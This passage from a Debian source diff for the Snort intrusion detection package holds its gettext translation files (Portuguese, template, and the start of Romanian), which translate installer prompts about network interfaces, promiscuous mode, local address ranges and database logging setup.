+#~ " cd /usr/share/doc/snort-mysql/\n"
+#~ " zcat create_pgsql.gz | psql -U <usu�rio> -h <host> -W <nome_da_base>\n"
+#~ "Informando os valores corretos para usu�rio, host e nome da base de "
+#~ "dados. O PostgreSQL ir� solicitar a senha."
+
+#, fuzzy
+#~ msgid "On which interface(s) should Snort listen?"
+#~ msgstr "Em qual interface de rede o Snort deve ouvir ?"
+
+#, fuzzy
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on.  The names of the available interfaces are provided by either "
+#~ "running  'ip link show' of 'ifconfig'. This value usually is 'eth0', but "
+#~ "you might want to vary this depending on your environment, if you are "
+#~ "using a dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "Por favor, informe o nome da interface na qual o snort dever� ouvir. O "
+#~ "nome das interfaces dispon�veis podem ser visualizados executando-se o "
+#~ "comando 'ip link show'. Esse valor geralmente � 'eth0', mas voc� pode "
+#~ "querer variar isso dependendo de seu ambiente, caso voc� esteja usando "
+#~ "uma conex�o discada, 'ppp0' pode ser mais apropriado."
+
+#~ msgid "Please enter the address range that Snort will listen on."
+#~ msgstr ""
+#~ "Por favor, especifique a faixa de endere�os na qual o Snort ir� ouvir."
+
+#~ msgid ""
+#~ "Disable promiscuous mode if you are configuring Snort on an interface "
+#~ "without a configured IP address."
+#~ msgstr ""
+#~ "Desabilite o modo prom�scuo caso voc� esteja configurando o Snort em uma "
+#~ "interface sem um endere�o IP configurado."
+
+#~ msgid "Please enter the hostname of the mysql database server to use."
+#~ msgstr ""
+#~ "Por favor, informe o hostname do servidor de base de dados mysql a ser "
+#~ "utilizado."
+
+#~ msgid "Please enter the name of the database to use."
+#~ msgstr "Por favor, informe o nome da base de dados a ser usada."
+
+#~ msgid "Please enter the name of the database user you want to use."
+#~ msgstr ""
+#~ "Por favor, informe o nome do usu�rio desejado para acessar a base dados."
+
+#~ msgid "Please enter the password for the database connection."
+#~ msgstr "Por favor, informe a senha para conex�o na base de dados."
+
+#~ msgid "Please enter the hostname of the pgsql database server to use."
+#~ msgstr ""
+#~ "Por favor, informe o hostname do servidor de base de dados pgsql a ser "
+#~ "utilizado."
+
+#, fuzzy
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on. The names of the available interfaces are provided by either running "
+#~ "'ip link show' of 'ifconfig'. This value usually is 'eth0', but you might "
+#~ "want to vary this depending on your environment, if you are using a "
+#~ "dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "Por favor, informe o nome da interface na qual o snort dever� ouvir. O "
+#~ "nome das interfaces dispon�veis podem ser visualizados executando-se o "
+#~ "comando 'ip link show'. Esse valor geralmente � 'eth0', mas voc� pode "
+#~ "querer variar isso dependendo de seu ambiente, caso voc� esteja usando "
+#~ "uma conex�o discada, 'ppp0' pode ser mais apropriado."
+
+#~ msgid "On which interface should Snort listen?"
+#~ msgstr "Em qual interface de rede o Snort deve ouvir ?"
+
+#~ msgid ""
+#~ "Notice that Snort is usually configured to inspect all traffic coming "
+#~ "from the Internet, so the interface you add here is usually the same the "
+#~ "'default route' is on.  You can determine which interface is used for "
+#~ "this running either 'ip route show' or '/sbin/route -n' (look for "
+#~ "'default' or '0.0.0.0')."
+#~ msgstr ""
+#~ "Note que o Snort � geralmente configurado para inspecionar todo tr�fego "
+#~ "chegando da Internet, de modo que a interface que voc� adicionar aqui "
+#~ "geralmente � a mesma onde a 'rota padr�o' est�. Voc� pode determinar qual "
+#~ "interface � usada para isso executando o comando '/sbin/ip ro sh' ou '/"
+#~ "sbin/route -n' (procure por 'default' ou '0.0.0.0')."
+
+#~ msgid "Should Snort disable promiscous mode on the interface?"
+#~ msgstr "O Snort deve desabilitar o modo prom�scuo na interface ?"
+
+#~ msgid "What address range should Snort consider to be local?"
+#~ msgstr "Qual faixa de endere�os o Snort deve considerar local ?"
+
+#~ msgid ""
+#~ "You have to use CIDR form, i.e. 192.168.1.0/24 for a block of 256 IPs or "
+#~ "192.168.1.42/32 for just one.  Specify multiple addresses on a single "
+#~ "line, seperated by ',' (comma characters). No spaces allowed!"
+#~ msgstr ""
+#~ "Voc� precisa usar o formato CIDR, ou seja, 192.168.1.0/24 para um bloco "
+#~ "de 256 IPs ou 192.168.1.42/32 para um �nico host. Especifique m�ltiplos "
+#~ "endere�os em uma �nica linha, separados por ',' (caracter de v�rgula). "
+#~ "Espa�os n�o s�o permitidos !"
+
+#~ msgid ""
+#~ "Disabling the promiscuous mode means that Snort will only see packets "
+#~ "addressed to its own interface. Enabling allows it to check every packet "
+#~ "that passes the ethernet even if it's a connection between two other "
+#~ "computers"
+#~ msgstr ""
+#~ "Desabilitar o modo prom�scuo significa que o Snort ir� somente ver "
+#~ "pacotes destinados a sua pr�pria interface. Habilitar o modo prom�scuo "
+#~ "permitir� que o Snort cheque cada pacote que passa pela ethernet mesmo "
+#~ "caso os pacotes fa�am parte de uma conex�o entre dois outros computadores."
+
+#~ msgid "When should snort be started?"
+#~ msgstr "Quando o Snort deve ser iniciado ?"
+
+#~ msgid "Please enter the address range that snort will listen on."
+#~ msgstr ""
+#~ "Por favor especifique a faixa de endere�os na qual o Snort ir� ouvir."
+
+#~ msgid ""
+#~ "You have to use CIDR form, i.e. 192.168.1.0/24 for a block of 256 IPs or "
+#~ "192.168.1.42/32 for just one. Specify multiple addresses on a single "
+#~ "line, separated by ',' (comma characters). No spaces allowed!"
+#~ msgstr ""
+#~ "Voc� precisar� usar a nota��o CIDR, ou seja, 192.168.1.0/24 para um bloco "
+#~ "de 256 IPs ou 192.168.1.42/32 para um �nico host. Especifique m�ltiplos "
+#~ "endere�os em uma �nica linha separados por ',' (caracter v�rgula). "
+#~ "Espa�os n�o s�o permitidos !"
+
+#~ msgid ""
+#~ "Disabling the promiscuous mode means that snort will only see packets "
+#~ "addressed to it's own interface. Enabling allows it to check every packet "
+#~ "that passes the ethernet even if it's a connection between two other "
+#~ "computers"
+#~ msgstr ""
+#~ "Desabilitar o modo prom�scuo significa que o Snort ir� somente ver "
+#~ "pacotes destinados a sua pr�pria interface. Habilitar o modo prom�scuo "
+#~ "permitir� que o Snort cheque cada pacote que passa pela ethernet mesmo "
+#~ "caso os pacotes fa�am parte de uma conex�o entre dois outros computadores."
+
+#~ msgid "Should snort's rules testing order be changed to Pass|Alert|Log?"
+#~ msgstr ""
+#~ "A ordem de teste das regras do Snort devem ser mudadas para Passar|"
+#~ "Alertar|Logar ?"
+
+#~ msgid ""
+#~ "If you change snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge BPF command line "
+#~ "arguments to filter their alert rules."
+#~ msgstr ""
+#~ "Caso voc� mude a ordem de teste das regras do Snort para Passar|Alertar|"
+#~ "Logar as regras ser�o aplicadas na ordem Passar->Alertar->Logar ao inv�s "
+#~ "da ordem padr�o Alertar->Passar->Logar. Isso evitar� que os usu�rios do "
+#~ "Snort tenham que fazer grandes argumentos de linha de comando BFP para "
+#~ "filtrar suas regras de alerta."
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have the following things at hand: - The "
+#~ "hostname of a machine running a pgsql server, set up to allow TCP\n"
+#~ "  connections to the database (from this host).\n"
+#~ "- A database on the database server - A username and password for a user "
+#~ "that has write access to this database. If you don't have _all_ of these, "
+#~ "either select 'no' and run with regular file logging support, or fix this "
+#~ "first. You can always configure database logging later, by reconfiguring "
+#~ "the snort-pgsql package."
+#~ msgstr ""
+#~ "Voc� precisa fazer isso somente na primeira vez que voc� instalar o Snort-"
+#~ "MySQL. Antes de prosseguir, certifique-se de ter em m�os as seguintes "
+#~ "informa��es : \n"
+#~ "- O hostname da m�quina onde se encontra o servidor PostgreSQL, "
+#~ "configurado para permitir conex�es TCP originadas desse host.\n"
+#~ "- Uma base de dados nesse servidor PostgreSQL.\n"
+#~ "- Um nome de usu�rio que possua acesso de escrita na base dados e sua "
+#~ "senha.\n"
+#~ " . Caso voc� n�o possua _tudo_ isso, selecione 'N�o' e execute o Snort "
+#~ "com o suporte comum de logging em arquivo ou providencie tudo o que � "
+#~ "necess�rio antecipadamente. Voc� poder� sempre configurar o logging em "
+#~ "base de dados posteriormente, reconfigurando o pacote snort-pgsql."
+
+#~ msgid ""
+#~ "Please create the database structure now, using the following command:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -u <user> -h <host> <databasename>\n"
+#~ "Filling in the correct values for the user, host, and database names. The "
+#~ "pgsql tool will prompt you for the password."
+#~ msgstr ""
+#~ "Por favor crie a estrutura da base de dados agora, usando o comando a "
+#~ "seguir :\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -u <usu�rio> -h <host> <nome_da_base>\n"
+#~ "Informando os valores corretos para usu�rio, host e nome da base de "
+#~ "dados. O PostgreSQL ir� solicitar a senha."
+
+#~ msgid "Please enter a password to connect to the SNORT Alert database"
+#~ msgstr ""
+#~ "Por favor informe uma senha para se conectar a base de dados de Alertas "
+#~ "do Snort."
+
+#~ msgid "You are running snort manually."
+#~ msgstr "Voc� est� executando o Snort manualmente."
+
+#~ msgid ""
+#~ "Please restart snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "Por favor reinicie o Snort usando :\n"
+#~ " /etc/init.d/snort start\n"
+#~ "para fazer com que as configura��es tenham efeito."
+
+#~ msgid "MIB-File addition for snmpd"
+#~ msgstr "Adi��o de Arquivo-MIB para o snmpd"
+
+#~ msgid ""
+#~ "Snort-common comes with two MIB-files for your snmpd to load, so it knows "
+#~ "about Snort's information. It is impossible for me to add these MIB-files "
+#~ "to your snmpd automatically. So if you want to have snort information "
+#~ "from your snmpd, please read the documentation that came with your snmpd "
+#~ "on how to install external MIB additions."
+#~ msgstr ""
+#~ "O Snort-common � fornecido com dois arquivos-MIB para seu servidor snmpd "
+#~ "carregar, de forma que seu servidor snmpd obtenha informa��es sobre o "
+#~ "Snort. � imposs�vel para esse assistente adicionar esses arquivos-MIB "
+#~ "automaticamente em seu snmpd. Portanto caso voc� queira obter informa��es "
+#~ "do Snort a partir de seu snmpd, por favor leia a documenta��o que "
+#~ "acompanha seu snmpd sobre como instalar adi��es MIB externas."
+
+#~ msgid "Snort-common placed these two MIB-files in /usr/share/snmp/mibs/"
+#~ msgstr ""
+#~ "O Snort-common colocou esses dois arquivos-MIB em /usr/share/snmpd/mibs/"
+
+#~ msgid "eth0"
+#~ msgstr "eth0"
+
+#~ msgid "192.168.0.0/16"
+#~ msgstr "192.168.0.0/16"
+
+#~ msgid "1"
+#~ msgstr "1"
--- snort-2.7.0.orig/debian/po/templates.pot
+++ snort-2.7.0/debian/po/templates.pot
@@ -0,0 +1,507 @@
+# SOME DESCRIPTIVE TITLE.
+# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
+# This file is distributed under the same license as the PACKAGE package.
+# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
+#
+#, fuzzy
+msgid ""
+msgstr ""
+"Project-Id-Version: PACKAGE VERSION\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
+"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
+"Language-Team: LANGUAGE <LL@li.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=CHARSET\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr ""
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr ""
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr ""
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
--- snort-2.7.0.orig/debian/po/ro.po
+++ snort-2.7.0/debian/po/ro.po
@@ -0,0 +1,826 @@
+# translation of ro.po to Romanian
+# Romanian translations for PACKAGE package
+# Traducerea în limba română pentru pachetul PACKAGE.
+# Copyright (C) 2007 THE PACKAGE'S COPYRIGHT HOLDER
+# This file is distributed under the same license as the PACKAGE package.
+#
+# Eddy Petrisor <eddy.petrisor@gmail.com>, 2007.
+# Eddy Petrișor <eddy.petrisor@gmail.com>, 2007, 2008.
+msgid ""
+msgstr ""
+"Project-Id-Version: ro\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-04-27 23:22+0200\n"
+"PO-Revision-Date: 2008-05-17 13:04+0300\n"
+"Last-Translator: Eddy Petrișor <eddy.petrisor@gmail.com>\n"
+"Language-Team: Romanian <debian-l10n-romanian@lists.debian.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms:  nplurals=3; plural=n==1 ? 0 : (n==0 || (n%100 > 0 && n%100 < 20)) ? 1 : 2;\n"
+"X-Generator: KBabel 1.11.4\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "la pornirea sistemului"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "la conectarea „dialup”"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "manuală"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "Metoda de pornire a lui Snort:"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"Snort poate fi pornit fie la pornirea sistemului, fie la conectarea la "
+"internet cu pppd, fie manual via /usr/sbin/snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "interfața/interfețele pe care să asculte Snort:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Această valoare este de obicei „eth0”, însă această valoare ar putea fi "
+"nepotrivită în unele rețele; pentru conexiuni „dialup”, „ppp0” ar putea fi "
+"mai indicată (a se vedea informațiile afișate de „/sbin/ifconfig”)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"De obicei, aceasta este interfața pe care este definită ruta implicită. "
+"Puteți detecta care interfață este folosită în acest scop rulând „/sbin/"
+"route -n” (căutați „0.0.0.0”)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"De asemenea, nu este deloc neobișnuit a rula Snort pe o interfață fără "
+"adresă IP care este configurată în modul promiscuu. Dacă e cazul, selectați "
+"interfața care este conectată fizic la rețeaua care ar trebui inspectată, "
+"activați apoi modul promiscuu și asigurați-vă că traficul de rețea este "
+"trimis către acestă interfață (fie prin conectarea la un port de tip "
+"„oglindă” într-un switch, fie la un hub sau un interceptor)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"Puteți configura mai multe interfețe prin simpla adăugare a mai mult de un "
+"singur nume de interfață, separatorul fiind spațiul. Fiecare interfață poate "
+"avea propria configurație specifică."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Intervalul de adrese pentru rețeaua locală:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
